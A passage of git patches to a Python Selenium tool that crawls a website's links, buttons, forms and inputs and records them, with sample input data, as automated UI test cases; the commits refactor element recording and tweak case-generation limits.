+++ b/app/api/utils/autocaser.py
@@ -36,6 +36,7 @@ def __init__(
         # All elememts represent the 
         # begining of a new Case.
         self.elements = []
+        self.final_start_elements = []
 
         # starting driver
         self.driver = driver_init(
@@ -481,6 +482,12 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
         if elements is None:
             elements = self.elements
 
+        # checking against all final start elements
+        for final_start_elem in self.final_start_elements:
+            if final_start_elem == selector:
+                found_duplicate = True
+                return found_duplicate
+
         for elem in elements:
             # check if selector exists already
             if elem['selector'] == selector:
@@ -490,6 +497,7 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
             # check if sub_elements exists
             if elem['elements'] != None:
                 self.check_for_duplicates(selector=selector, elements=elem['elements'])
+        
 
         # return result
         return found_duplicate
@@ -568,21 +576,19 @@ def get_elements(self):
         priority_elements = sorted_elements['priority_elements']
         non_priority_elements = sorted_elements['non_priority_elements']
 
-        final_start_elements = []
-
         # choosing random priority element
-        if len(priority_elements) > 0:
+        if len(priority_elements) > 1:
             choosen = priority_elements[
                 random.randint(0, (len(priority_elements) - 1))
             ]
-            final_start_elements.append(
+            self.final_start_elements.append(
                 self.driver.execute_script(self.selector_script, choosen)
             )
 
         # adding random elements until 
         # "max_cases" is reached
         iterations = 0
-        while (len(final_start_elements) + len(self.elements)) < self.max_cases and iterations < (5 * self.max_cases):
+        while (len(self.final_start_elements) + len(self.elements)) < self.max_cases and iterations < (5 * self.max_cases):
 
             # random choice
             choosen = non_priority_elements[
@@ -594,9 +600,9 @@ def get_elements(self):
                 iterations += 1
                 continue
 
-            # check if element exists in final_start_elements[]
+            # check if element exists in self.final_start_elements[]
             selector = self.driver.execute_script(self.selector_script, choosen)
-            if selector in final_start_elements:
+            if selector in self.final_start_elements:
                 iterations += 1
                 continue
             
@@ -604,11 +610,11 @@ def get_elements(self):
             if choosen.tag_name == 'a':
                 link_text = choosen.get_attribute('href')
                 if link_text.startswith(self.get_url_root(start_page)):
-                    final_start_elements.append(selector)
+                    self.final_start_elements.append(selector)
                     
             # adding if button
             if choosen.tag_name == 'button':
-                final_start_elements.append(selector)
+                self.final_start_elements.append(selector)
 
             # forcing loop to quit if not enough cases are created
             iterations += 1
@@ -616,7 +622,7 @@ def get_elements(self):
 
         # begin elem iteration
         iterations = 0
-        for selector in final_start_elements:
+        for selector in self.final_start_elements:
 
             # ensuring we're at start_page
             if self.driver.current_url != start_page:
@@ -633,7 +639,7 @@ def get_elements(self):
                 element = self.driver.find_element(By.CSS_SELECTOR, selector)
             except Exception as e:
                 print('Element not Reachable, removing')
-                final_start_elements.remove(selector)
+                self.final_start_elements.remove(selector)
                 iterations += 1
                 continue
             
@@ -654,7 +660,7 @@ def get_elements(self):
                 element.click()
             except Exception as e:
                 print('Element not Clickable, removing')
-                final_start_elements.remove(selector)
+                self.final_start_elements.remove(selector)
                 continue
 
 
@@ -855,7 +861,7 @@ def get_elements(self):
             iterations += 1
 
             # update process
-            self.update_process(current=iterations, total=len(final_start_elements))
+            self.update_process(current=iterations, total=len(self.final_start_elements))
 
         # quit driver session
         quit_driver(self.driver)

From 53df2423c035ff2d3fbdcea9f34a5f1c43723473 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 10:56:28 -0600
Subject: [PATCH 0512/1099] adjusted initial-site case generation allocations

---
 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 01d117c7..624996ae 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -189,8 +189,8 @@ def create_site(request, delay=False):
             process_id=process.id,
             start_url=str(site.site_url),
             configs=configs,
-            max_cases=4,
-            max_layers=6
+            max_cases=3,
+            max_layers=8
         )
         
         # check if this is account's first site and onboarding = True

From ec4c1a9aca3b6c57a2f7aa6b45ac0549a8388e33 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 11:14:59 -0600
Subject: [PATCH 0513/1099] adding exception for sites with not interactive
 elements

---
 app/api/utils/autocaser.py | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 732d2a48..5ce0b350 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -576,6 +576,10 @@ def get_elements(self):
         priority_elements = sorted_elements['priority_elements']
         non_priority_elements = sorted_elements['non_priority_elements']
 
+        # ending early if not enough elements to generate with
+        if len(priority_elements) <= 1 and len(non_priority_elements) <= 1:
+            return self.elements
+
         # choosing random priority element
         if len(priority_elements) > 1:
             choosen = priority_elements[

From 2289bbb6baf363fd1761813fb91cb58802faf2b3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 11:44:57 -0600
Subject: [PATCH 0514/1099] testing new prioritization

---
 app/api/utils/autocaser.py | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 5ce0b350..1269a33c 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -428,6 +428,7 @@ def get_priority_elements(self, elements: list) -> dict:
                 if element.tag_name == 'form':
                     # add to priority
                     priority_elements.append(element)
+                    print('added FORM to priority_elements[]')
 
         data = {
             'priority_elements': priority_elements, 
@@ -581,22 +582,22 @@ def get_elements(self):
             return self.elements
 
         # choosing random priority element
-        if len(priority_elements) > 1:
+        if len(priority_elements) > 0:
             choosen = priority_elements[
-                random.randint(0, (len(priority_elements) - 1))
+                random.randint(0, (len(priority_elements) - 1)) if len(priority_elements) > 1 else 0
             ]
             self.final_start_elements.append(
                 self.driver.execute_script(self.selector_script, choosen)
             )
 
-        # adding random elements until 
-        # "max_cases" is reached
+        # adding random elements to self.final_start_elements[]
+        # until max_cases" is reached
         iterations = 0
         while (len(self.final_start_elements) + len(self.elements)) < self.max_cases and iterations < (5 * self.max_cases):
 
             # random choice
             choosen = non_priority_elements[
-                random.randint(0, (len(non_priority_elements) - 1))
+                random.randint(0, (len(non_priority_elements) - 1)) if len(non_priority_elements) > 1 else 0
             ]
 
             # checking if chosen element is visible
@@ -768,17 +769,20 @@ def get_elements(self):
                     # choosing random priority elememt 
                     if len(priority_elements) > 0:
                         elem = priority_elements[
-                            random.randint(0, (len(priority_elements) - 1))
+                            random.randint(0, (len(priority_elements) - 1)) if len(priority_elements) > 1 else 0
                         ]
+                        print(f'choose priority element | type -> {elem.tag_name}')
 
                     # choosing a random non-priority element
                     elif len(non_priority_elements) > 0:
                         elem = non_priority_elements[
-                            random.randint(0, (len(non_priority_elements) - 1))
+                            random.randint(0, (len(non_priority_elements) - 1)) if len(non_priority_elements) > 1 else 0
                         ]
+                        print(f'choose non-priority element | type -> {elem.tag_name}')
 
                     # returning early if no elem selected
                     if not elem:
+                        print('no element was selected')
                         # add to layers and ending case
                         layers += 1
                         run = False

From 63e07d14589b886b60f467afdc08dee8212d89dd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 12:52:04 -0600
Subject: [PATCH 0515/1099] modularizing element recording

---
 app/api/utils/autocaser.py | 363 +++++++++++++++++++++++++++----------
 1 file changed, 269 insertions(+), 94 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 1269a33c..18fe17f0 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -109,6 +109,8 @@ def __init__(
             "time":             {'test_data': '12:34', 'action': 'change'},
             "url":              {'test_data': 'https://example.com', 'action': 'change'},
             "week":             {'test_data': '2024-W15', 'action': 'change'},
+            "textarea":         {'test_data': 'This is longer example text for testing.', 'action': 'change'},
+            "None":             {'test_data': None, 'action': None},
         }
 
         # setting blacklist for input types to ignore
@@ -246,7 +248,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     input_selector = self.driver.execute_script(self.selector_script, i)
                     placeholder = i.get_attribute('placeholder')
                     value = i.get_attribute('value')
-                    type = i.get_attribute('type')
+                    type = str(i.get_attribute('type'))
                     img = self.get_element_image(element=i)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
@@ -273,7 +275,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     # get input data
                     input_selector = self.driver.execute_script(self.selector_script, i)
                     placeholder = i.get_attribute('placeholder')
-                    type = i.get_attribute('type')
+                    type = str(i.get_attribute('type'))
                     img = self.get_element_image(element=i)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
@@ -283,8 +285,8 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         'placeholder': placeholder,
                         'value': None,
                         'type': type,
-                        'data': 'This is longer example text for testing.',
-                        'action': 'change',
+                        'data': self.input_types['textarea']['test_data'],
+                        'action': self.input_types['textarea']['action'],
                         'path': relative_url,
                         'img': img,
                         'elements': None,
@@ -313,7 +315,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         input_selector = self.driver.execute_script(self.selector_script, i)
                         placeholder = i.get_attribute('placeholder')
                         value = i.get_attribute('value')
-                        type = i.get_attribute('type')
+                        type = str(i.get_attribute('type'))
                         img = self.get_element_image(element=i)
                         relative_url = self.get_relative_url(self.driver.current_url)
 
@@ -354,7 +356,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 if self.is_element_visible(btn):
                     # get button data
                     btn_selector = self.driver.execute_script(self.selector_script, btn)
-                    type = btn.get_attribute('type')
+                    type = str(btn.get_attribute('type'))
                     btn_img = self.get_element_image(element=btn)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
@@ -444,22 +446,22 @@ def get_current_elements(self) -> list:
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
-        # inputs = self.driver.find_elements(By.TAG_NAME, 'input')
-        # textareas = self.driver.find_elements(By.TAG_NAME, 'textarea')
-        inputs_textareas_buttons = buttons # inputs + textareas +
+        inputs = self.driver.find_elements(By.TAG_NAME, 'input')
+        textareas = self.driver.find_elements(By.TAG_NAME, 'textarea')
+        inputs_textareas_buttons = inputs + textareas + buttons
 
         # get all form inputs, textareas, & buttons
         form_elems = []
         for form in forms:
             # form inputs
             form_inputs = form.find_elements(By.TAG_NAME, 'input')
-            inputs_textareas_buttons += form_inputs
+            form_elems += form_inputs
             # textarea inputs
             form_textares = form.find_elements(By.TAG_NAME, 'textarea')
-            inputs_textareas_buttons += form_textares
+            form_elems += form_textares
             # textarea inputs
             form_buttons = form.find_elements(By.TAG_NAME, 'button')
-            inputs_textareas_buttons += form_buttons
+            form_elems += form_buttons
         
         # then remove duplicates
         for elem in inputs_textareas_buttons:
@@ -546,6 +548,104 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
 
 
 
+    def record_new_element(self, elem: object, sub_elements: list) -> dict:
+        """
+            returns -> {
+                'sub_elements': [],
+                'run': bool,
+                'added': bool,
+            }
+        """
+        # get sub element info
+        elem_selector = self.driver.execute_script(self.selector_script, elem)
+        elem_img = self.get_element_image(element=elem)
+        relative_url = self.get_relative_url(self.driver.current_url)
+
+        # setting defaults
+        run = True
+        added = False
+        
+        # found new element, record, click, & continue
+        if elem.tag_name == 'a' or elem.tag_name == 'button':
+
+            # record element
+            sub_elements.append({
+                'selector': elem_selector,
+                'elem_type': elem.tag_name,
+                'placeholder': None,
+                'value': None,
+                'type': None,
+                'data': None,
+                'action': 'click',
+                'path': relative_url,
+                'img': elem_img,
+                'elements': None,
+            })
+
+            # click element
+            try:
+                elem.click()
+            except Exception as e:
+                print('Element not Clickable, removing')
+                sub_elements.pop()
+
+            # add to layers and ending internal loop
+            added = True
+            run = True
+
+        
+        # found new input or textarea
+        elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
+            
+            type = str(elem.get_attribute('type'))
+            value = elem.get_attribute('value')
+            
+            if elem.tag_name == 'textarea':
+                type = 'textarea'
+
+            # record element
+            sub_elements.append({
+                'selector': elem_selector,
+                'elem_type': elem.tag_name,
+                'placeholder': elem.get_attribute('placeholder'),
+                'value': value,
+                'type': type,
+                'data': self.input_types[type]['test_data'],
+                'action': self.input_types[type]['action'],
+                'path': relative_url,
+                'img': elem_img,
+                'elements': None,
+            })
+            
+            # add to layers and ending internal loop
+            added = True
+            run = True
+        
+
+        # found new form, record and end run
+        elif elem.tag_name == 'form':
+            
+            # record form into sub_elements list
+            sub_elements = self.record_forms(
+                elements=sub_elements, 
+                form=elem
+            )
+
+            # add to layers and ending case
+            added = True
+            run = False
+
+        data = {
+            'sub_elements': sub_elements,
+            'run': run,
+            'added': added
+        }
+
+        return data 
+        
+
+
+
     def get_elements(self):
 
         # get site page
@@ -695,57 +795,95 @@ def get_elements(self):
                     cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements)
 
                     # iterating through each elem 
+                    recorded_element = False
                     for elem in cleaned_elements:
 
                         # get sub element info
-                        elem_selector = self.driver.execute_script(self.selector_script, elem)
-                        elem_img = self.get_element_image(element=elem)
-                        relative_url = self.get_relative_url(self.driver.current_url)
+                        # elem_selector = self.driver.execute_script(self.selector_script, elem)
+                        # elem_img = self.get_element_image(element=elem)
+                        # relative_url = self.get_relative_url(self.driver.current_url)
                         
-                        # found new element, record, click, & continue
-                        if elem.tag_name == 'a' or elem.tag_name == 'button':
-
-                            # record element
-                            sub_elements.append({
-                                'selector': elem_selector,
-                                'elem_type': elem.tag_name,
-                                'placeholder': None,
-                                'value': None,
-                                'type': None,
-                                'data': None,
-                                'action': 'click',
-                                'path': relative_url,
-                                'img': elem_img,
-                                'elements': None,
-                            })
+                        # # found new element, record, click, & continue
+                        # if elem.tag_name == 'a' or elem.tag_name == 'button':
+
+                        #     # record element
+                        #     sub_elements.append({
+                        #         'selector': elem_selector,
+                        #         'elem_type': elem.tag_name,
+                        #         'placeholder': None,
+                        #         'value': None,
+                        #         'type': None,
+                        #         'data': None,
+                        #         'action': 'click',
+                        #         'path': relative_url,
+                        #         'img': elem_img,
+                        #         'elements': None,
+                        #     })
+
+                        #     # click element
+                        #     try:
+                        #         elem.click()
+                        #     except Exception as e:
+                        #         print('Element not Clickable, removing')
+                        #         sub_elements.pop()
+
+                        #     # add to layers and ending internal loop
+                        #     layers += 1
+                        #     break
 
-                            # click element
-                            try:
-                                elem.click()
-                            except Exception as e:
-                                print('Element not Clickable, removing')
-                                sub_elements.pop()
-
-                            # add to layers and ending internal loop
-                            layers += 1
-                            break
                         
-                        # found new form, record and end run
-                        elif elem.tag_name == 'form':
+                        # # found new input or textarea
+                        # elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
+                            
+                        #     type = str(elem.get_attribute('type'))
+                        #     value = elem.get_attribute('value')
+                            
+                        #     if elem.tag_name == 'textarea':
+                        #         type = 'textarea'
+
+                        #     # record element
+                        #     sub_elements.append({
+                        #         'selector': elem_selector,
+                        #         'elem_type': elem.tag_name,
+                        #         'placeholder': elem.get_attribute('placeholder'),
+                        #         'value': value,
+                        #         'type': type,
+                        #         'data': self.input_types[type]['test_data'],
+                        #         'action': self.input_types[type]['action'],
+                        #         'path': relative_url,
+                        #         'img': elem_img,
+                        #         'elements': None,
+                        #     })
+                            
+                        #     # add to layers and ending internal loop
+                        #     layers += 1
+                        #     break
+                        
+
+                        # # found new form, record and end run
+                        # elif elem.tag_name == 'form':
                             
                             # record form into sub_elements list
-                            sub_elements = self.record_forms(
-                                elements=sub_elements, 
-                                form=elem
-                            )
-
-                            # add to layers and ending case
-                            layers += 1
-                            run = False
-                            break
-                    
+                            # sub_elements = self.record_forms(
+                            #     elements=sub_elements, 
+                            #     form=elem
+                            # )
+
+                            # # add to layers and ending case
+                            # layers += 1
+                            # run = False
+                            # break
+                        
+                        # record element and increment if necessary
+                        data = self.record_new_element(elem, sub_elements) 
+                        run = data['run']
+                        layers += 1 if data['added'] else 0
+                        sub_elements = data['sub_elements']
+                        recorded_element = data['added']
+                        
                     # add to layers
-                    layers += 1
+                    if not recorded_element:
+                        layers += 1
 
 
                 # check if page is different but still on site
@@ -788,52 +926,89 @@ def get_elements(self):
                         run = False
                         break
 
-                    # get sub element info
-                    elem_selector = self.driver.execute_script(self.selector_script, elem)
-                    elem_img = self.get_element_image(element=elem)
-                    relative_url = self.get_relative_url(self.driver.current_url)
+                    # # get sub element info
+                    # elem_selector = self.driver.execute_script(self.selector_script, elem)
+                    # elem_img = self.get_element_image(element=elem)
+                    # relative_url = self.get_relative_url(self.driver.current_url)
+
+                    # if elem.tag_name == 'a' or elem.tag_name == 'button':
+                    #     # record element
+                    #     sub_elements.append({
+                    #         'selector': elem_selector,
+                    #         'elem_type': elem.tag_name,
+                    #         'placeholder': None,
+                    #         'value': None,
+                    #         'type': None,
+                    #         'data': None,
+                    #         'action': 'click',
+                    #         'path': relative_url,
+                    #         'img': elem_img,
+                    #         'elements': None,
+                    #     })
+
+                    #     # add to layers
+                    #     layers += 1
+
+                    #     # click element
+                    #     try:
+                    #         elem.click()
+                    #     except Exception as e:
+                    #         print('Element not Clickable, removing')
+                    #         sub_elements.pop()
 
-                    # check the type of element
-                    if elem.tag_name == 'form':
+                    
+                    # # found new input or textarea
+                    # elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
+                        
+                    #     type = str(elem.get_attribute('type'))
+                    #     value = elem.get_attribute('value')
+                        
+                    #     if elem.tag_name == 'textarea':
+                    #         type = 'textarea'
+
+                    #     # record element
+                    #     sub_elements.append({
+                    #         'selector': elem_selector,
+                    #         'elem_type': elem.tag_name,
+                    #         'placeholder': elem.get_attribute('placeholder'),
+                    #         'value': value,
+                    #         'type': type,
+                    #         'data': self.input_types[type]['test_data'],
+                    #         'action': self.input_types[type]['action'],
+                    #         'path': relative_url,
+                    #         'img': elem_img,
+                    #         'elements': None,
+                    #     })
+                        
+                    #     # add to layers and ending internal loop
+                    #     layers += 1
+                    #     break
+                        
+                    
+                    # # check the type of element
+                    # elif elem.tag_name == 'form':
                         # record form into sub_elements list
-                        sub_elements = self.record_forms(
-                            elements=sub_elements,
-                            form=elem
-                        )
-
-                        # add to layers and ending case
-                        layers += 1
-                        run = False
-                        break
-                
-                    elif elem.tag_name == 'a' or elem.tag_name == 'button':
-                        # record element
-                        sub_elements.append({
-                            'selector': elem_selector,
-                            'elem_type': elem.tag_name,
-                            'placeholder': None,
-                            'value': None,
-                            'type': None,
-                            'data': None,
-                            'action': 'click',
-                            'path': relative_url,
-                            'img': elem_img,
-                            'elements': None,
-                        })
+                        # sub_elements = self.record_forms(
+                        #     elements=sub_elements,
+                        #     form=elem
+                        # )
+
+                        # # add to layers and ending case
+                        # layers += 1
+                        # run = False
+                        # break
+            
+            
+                    # record element and increment if necessary
+                    data = self.record_new_element(elem, sub_elements) 
+                    run = data['run']
+                    layers += 1 if data['added'] else 0
+                    sub_elements = data['sub_elements']
 
-                        # add to layers
-                        layers += 1
 
-                        # click element
-                        try:
-                            elem.click()
-                        except Exception as e:
-                            print('Element not Clickable, removing')
-                            sub_elements.pop()
-                    
                     # catching all other situations
                     # naving back to previous_url   
-                    else:
+                    if not data['added']:
                         print('no coditions were met')
                         # add to layers
                         layers += 1

From 12aebba2c2d2e4b4ab4f2feeb28f6dcbe4357219 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:04:42 -0600
Subject: [PATCH 0516/1099] added stale element catcher

---
 app/api/utils/autocaser.py | 406 +++++++++++++++++++------------------
 1 file changed, 210 insertions(+), 196 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 18fe17f0..bbef69cf 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -73,10 +73,14 @@ def __init__(
         self.visible_script = (
             """
             const isVisible = (elm) => {
-                if (window.getComputedStyle(elm).visibility === 'hidden' || window.getComputedStyle(elm).display === 'none'){
+                try{
+                    if (window.getComputedStyle(elm).visibility === 'hidden' || window.getComputedStyle(elm).display === 'none'){
+                        return false
+                    } else {
+                        return true
+                    }
+                }catch{
                     return false
-                } else {
-                    return true
                 }
             }
 
@@ -203,199 +207,6 @@ def get_elem_text(self, selector: str) -> str:
 
 
 
-    def record_forms(self, elements: list, form: object=None) -> list:
-
-        # wait for page to load 
-        driver_wait(
-            driver=self.driver,
-            interval=self.configs.get('interval'),
-            max_wait_time=self.configs.get('max_wait_time'),
-            min_wait_time=self.configs.get('min_wait_time'),
-        )
-
-        # building forms list
-        if form is None:
-            # get all forms on the page
-            forms = self.driver.find_elements(By.TAG_NAME, "form")
-        else:
-            # adding single form to que
-            forms = [form]
-        
-        # begin iteration of <form> gathering
-        for form in forms:
-            
-            # get form selector
-            form_selector = self.driver.execute_script(self.selector_script, form)
-
-            print(f'recording form -> {form_selector}')
-
-            # getting form text
-            elem_text = self.get_elem_text(selector=form_selector)
-
-            # get form image
-            form_img = self.get_element_image(element=form)
-            
-            # defining form.elements
-            sub_elements = []
-
-            # get all input fields in form
-            inputs = form.find_elements(By.TAG_NAME, "input")
-            # iterate through each input
-            for i in inputs:
-                
-                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
-                    # get input data
-                    input_selector = self.driver.execute_script(self.selector_script, i)
-                    placeholder = i.get_attribute('placeholder')
-                    value = i.get_attribute('value')
-                    type = str(i.get_attribute('type'))
-                    img = self.get_element_image(element=i)
-                    relative_url = self.get_relative_url(self.driver.current_url)
-
-                    sub_elements.append({
-                        'selector': input_selector,
-                        'elem_type': i.tag_name,
-                        'placeholder': placeholder,
-                        'value': value,
-                        'type': type,
-                        'data': self.input_types[type]['test_data'],
-                        'action': self.input_types[type]['action'],
-                        'path': relative_url,
-                        'img': img,
-                        'elements': None,
-                    })
-
-
-            # get all textarea fields in form
-            textareas = form.find_elements(By.TAG_NAME, "textarea")
-            # iterate through each input
-            for i in textareas:
-                
-                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
-                    # get input data
-                    input_selector = self.driver.execute_script(self.selector_script, i)
-                    placeholder = i.get_attribute('placeholder')
-                    type = str(i.get_attribute('type'))
-                    img = self.get_element_image(element=i)
-                    relative_url = self.get_relative_url(self.driver.current_url)
-
-                    sub_elements.append({
-                        'selector': input_selector,
-                        'elem_type': i.tag_name,
-                        'placeholder': placeholder,
-                        'value': None,
-                        'type': type,
-                        'data': self.input_types['textarea']['test_data'],
-                        'action': self.input_types['textarea']['action'],
-                        'path': relative_url,
-                        'img': img,
-                        'elements': None,
-                    })
-
-
-            # get all iframes elements in form
-            iframes = form.find_elements(By.TAG_NAME, "iframe")
-            # iterate through iframes and save data
-            for iframe in iframes:
-                
-                # get iframe data
-                iframe_selector = self.driver.execute_script(self.selector_script, iframe)
-                iframe_img = self.get_element_image(element=iframe)
-                relative_url = self.get_relative_url(self.driver.current_url)
-                
-                # get all inputs for iframe
-                iframe_inputs = iframe.find_elements(By.TAG_NAME, "input")
-
-                # iterate through each input
-                iframe_elements = []
-                for i in iframe_inputs:
-                    
-                    if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
-                        # get input data
-                        input_selector = self.driver.execute_script(self.selector_script, i)
-                        placeholder = i.get_attribute('placeholder')
-                        value = i.get_attribute('value')
-                        type = str(i.get_attribute('type'))
-                        img = self.get_element_image(element=i)
-                        relative_url = self.get_relative_url(self.driver.current_url)
-
-                        # save internal iframe data
-                        iframe_elements.append({
-                            'selector': input_selector,
-                            'elem_type': i.tag_name,
-                            'placeholder': placeholder,
-                            'value': value,
-                            'type': type,
-                            'data': self.input_types[type]['test_data'],
-                            'action': self.input_types[type]['action'],
-                            'path': relative_url,
-                            'img': img,
-                            'elements': None,
-                        })
-                
-                # save sub elem data
-                sub_elements.append({
-                    'selector': iframe_selector,
-                    'elem_type': iframe.tag_name,
-                    'placeholder': None,
-                    'value': None,
-                    'type': None,
-                    'data': None,
-                    'action': 'switch_to_frame',
-                    'path': relative_url,
-                    'img': iframe_img,
-                    'elements': iframe_elements,
-                })
-
-
-            # get all button elements in form
-            btns = form.find_elements(By.TAG_NAME, "button")
-            # iterate through each btn
-            for btn in btns:
-
-                if self.is_element_visible(btn):
-                    # get button data
-                    btn_selector = self.driver.execute_script(self.selector_script, btn)
-                    type = str(btn.get_attribute('type'))
-                    btn_img = self.get_element_image(element=btn)
-                    relative_url = self.get_relative_url(self.driver.current_url)
-
-                    sub_elements.append({
-                        'selector': btn_selector,
-                        'elem_type': 'button',
-                        'placeholder': None,
-                        'value': None,
-                        'type': type,
-                        'data': None,
-                        'elements': None,
-                        'action': 'click',
-                        'path': relative_url,
-                        'img': btn_img,
-                        'elements': None,
-                    })
-
-
-            # save elem data
-            elements.append({
-                'selector': form_selector,
-                'elem_type': 'form',
-                'elem_text': elem_text,
-                'value': None,
-                'type': None,
-                'data': None,
-                'action': None,
-                'path': relative_url,
-                'img': form_img,
-                'elements': sub_elements,
-
-            })
-        
-        # return elements array 
-        return elements
-
-
-
-
     def get_priority_elements(self, elements: list) -> dict:
         priority_words = [
             'cart', 'checkout', 'add to cart', 'add to the cart', 
@@ -564,6 +375,15 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
         # setting defaults
         run = True
         added = False
+
+        # check if element is visible
+        if not self.is_element_visible(elem):
+            data = {
+                'run': run,
+                'added': added,
+                'sub_element': sub_elements
+            }
+            return data
         
         # found new element, record, click, & continue
         if elem.tag_name == 'a' or elem.tag_name == 'button':
@@ -646,6 +466,200 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
 
 
 
+    def record_forms(self, elements: list, form: object=None) -> list:
+
+        # wait for page to load 
+        driver_wait(
+            driver=self.driver,
+            interval=self.configs.get('interval'),
+            max_wait_time=self.configs.get('max_wait_time'),
+            min_wait_time=self.configs.get('min_wait_time'),
+        )
+
+        # building forms list
+        if form is None:
+            # get all forms on the page
+            forms = self.driver.find_elements(By.TAG_NAME, "form")
+        else:
+            # adding single form to que
+            forms = [form]
+        
+        # begin iteration of <form> gathering
+        for form in forms:
+            
+            # get form selector
+            form_selector = self.driver.execute_script(self.selector_script, form)
+
+            print(f'recording form -> {form_selector}')
+
+            # getting form text
+            elem_text = self.get_elem_text(selector=form_selector)
+
+            # get form image
+            form_img = self.get_element_image(element=form)
+            
+            # defining form.elements
+            sub_elements = []
+
+            # get all input fields in form
+            inputs = form.find_elements(By.TAG_NAME, "input")
+            # iterate through each input
+            for i in inputs:
+                
+                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
+                    # get input data
+                    input_selector = self.driver.execute_script(self.selector_script, i)
+                    placeholder = i.get_attribute('placeholder')
+                    value = i.get_attribute('value')
+                    type = str(i.get_attribute('type'))
+                    img = self.get_element_image(element=i)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    sub_elements.append({
+                        'selector': input_selector,
+                        'elem_type': i.tag_name,
+                        'placeholder': placeholder,
+                        'value': value,
+                        'type': type,
+                        'data': self.input_types[type]['test_data'],
+                        'action': self.input_types[type]['action'],
+                        'path': relative_url,
+                        'img': img,
+                        'elements': None,
+                    })
+
+
+            # get all textarea fields in form
+            textareas = form.find_elements(By.TAG_NAME, "textarea")
+            # iterate through each input
+            for i in textareas:
+                
+                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
+                    # get input data
+                    input_selector = self.driver.execute_script(self.selector_script, i)
+                    placeholder = i.get_attribute('placeholder')
+                    type = str(i.get_attribute('type'))
+                    img = self.get_element_image(element=i)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    sub_elements.append({
+                        'selector': input_selector,
+                        'elem_type': i.tag_name,
+                        'placeholder': placeholder,
+                        'value': None,
+                        'type': type,
+                        'data': self.input_types['textarea']['test_data'],
+                        'action': self.input_types['textarea']['action'],
+                        'path': relative_url,
+                        'img': img,
+                        'elements': None,
+                    })
+
+
+            # get all iframes elements in form
+            iframes = form.find_elements(By.TAG_NAME, "iframe")
+            # iterate through iframes and save data
+            for iframe in iframes:
+                
+                # get iframe data
+                iframe_selector = self.driver.execute_script(self.selector_script, iframe)
+                iframe_img = self.get_element_image(element=iframe)
+                relative_url = self.get_relative_url(self.driver.current_url)
+                
+                # get all inputs for iframe
+                iframe_inputs = iframe.find_elements(By.TAG_NAME, "input")
+
+                # iterate through each input
+                iframe_elements = []
+                for i in iframe_inputs:
+                    
+                    if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
+                        # get input data
+                        input_selector = self.driver.execute_script(self.selector_script, i)
+                        placeholder = i.get_attribute('placeholder')
+                        value = i.get_attribute('value')
+                        type = str(i.get_attribute('type'))
+                        img = self.get_element_image(element=i)
+                        relative_url = self.get_relative_url(self.driver.current_url)
+
+                        # save internal iframe data
+                        iframe_elements.append({
+                            'selector': input_selector,
+                            'elem_type': i.tag_name,
+                            'placeholder': placeholder,
+                            'value': value,
+                            'type': type,
+                            'data': self.input_types[type]['test_data'],
+                            'action': self.input_types[type]['action'],
+                            'path': relative_url,
+                            'img': img,
+                            'elements': None,
+                        })
+                
+                # save sub elem data
+                sub_elements.append({
+                    'selector': iframe_selector,
+                    'elem_type': iframe.tag_name,
+                    'placeholder': None,
+                    'value': None,
+                    'type': None,
+                    'data': None,
+                    'action': 'switch_to_frame',
+                    'path': relative_url,
+                    'img': iframe_img,
+                    'elements': iframe_elements,
+                })
+
+
+            # get all button elements in form
+            btns = form.find_elements(By.TAG_NAME, "button")
+            # iterate through each btn
+            for btn in btns:
+
+                if self.is_element_visible(btn):
+                    # get button data
+                    btn_selector = self.driver.execute_script(self.selector_script, btn)
+                    type = str(btn.get_attribute('type'))
+                    btn_img = self.get_element_image(element=btn)
